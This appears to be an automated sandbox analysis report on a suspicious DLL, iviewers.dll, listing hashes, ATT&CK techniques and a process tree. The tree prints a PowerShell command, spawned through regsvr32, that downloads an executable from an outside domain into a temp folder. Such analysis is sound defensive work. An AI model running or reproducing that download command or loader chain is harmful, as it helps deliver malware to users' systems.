43e6a585c64017573bc07fe709222d1b6cb17f01b7391e5b0a3b22be80e9deb6

Analysis

max time kernel
121s
max time network
127s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
07-01-2025 00:03

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General

Target

iviewers.dll
Size

8KB
MD5

da9b36090cd0f8766f2127bc5c318389
SHA1

972f6a885512db3c5ae4330be4e81519d8e7884d
SHA256

b6edb1c17bbdafa08c1b97f0e0880f036937d5453c3dc06c7c24e34abe36f828
SHA512

702213d3d2955e58dc02468288891d29f69213b75fdb5f9aba27daf618bf1b8a3ff5ad96283945ead868d4f837641ea52273430207080e781221ee2294a728f6
SSDEEP

96:UXVV9kybtLHUkbpGDrA791djz3Jn6b7g303PRPFJygFE1H/8R:okybtLHuvG9vjz3J29RTygFE1H/u

Score

3^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2432	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2432	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2432	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 268 wrote to memory of 2816	268	regsvr32.exe	31
PID 268 wrote to memory of 2816	268	regsvr32.exe	31
PID 268 wrote to memory of 2816	268	regsvr32.exe	31
PID 268 wrote to memory of 2816	268	regsvr32.exe	31
PID 268 wrote to memory of 2816	268	regsvr32.exe	31
PID 268 wrote to memory of 2816	268	regsvr32.exe	31
PID 268 wrote to memory of 2816	268	regsvr32.exe	31
PID 2816 wrote to memory of 2432	2816	regsvr32.exe	32
PID 2816 wrote to memory of 2432	2816	regsvr32.exe	32
PID 2816 wrote to memory of 2432	2816	regsvr32.exe	32
PID 2816 wrote to memory of 2432	2816	regsvr32.exe	32

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:268
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'https://moolaplace.com/arnireq.exe' -OutFile 'C:\Windows\Temp\txac5yzm.nhe.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2816-0-0x0000000000280000-0x000000000028A000-memory.dmp

Filesize
40KB

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memory/2816-1-0x0000000074830000-0x000000007483A000-memory.dmp

Filesize
40KB

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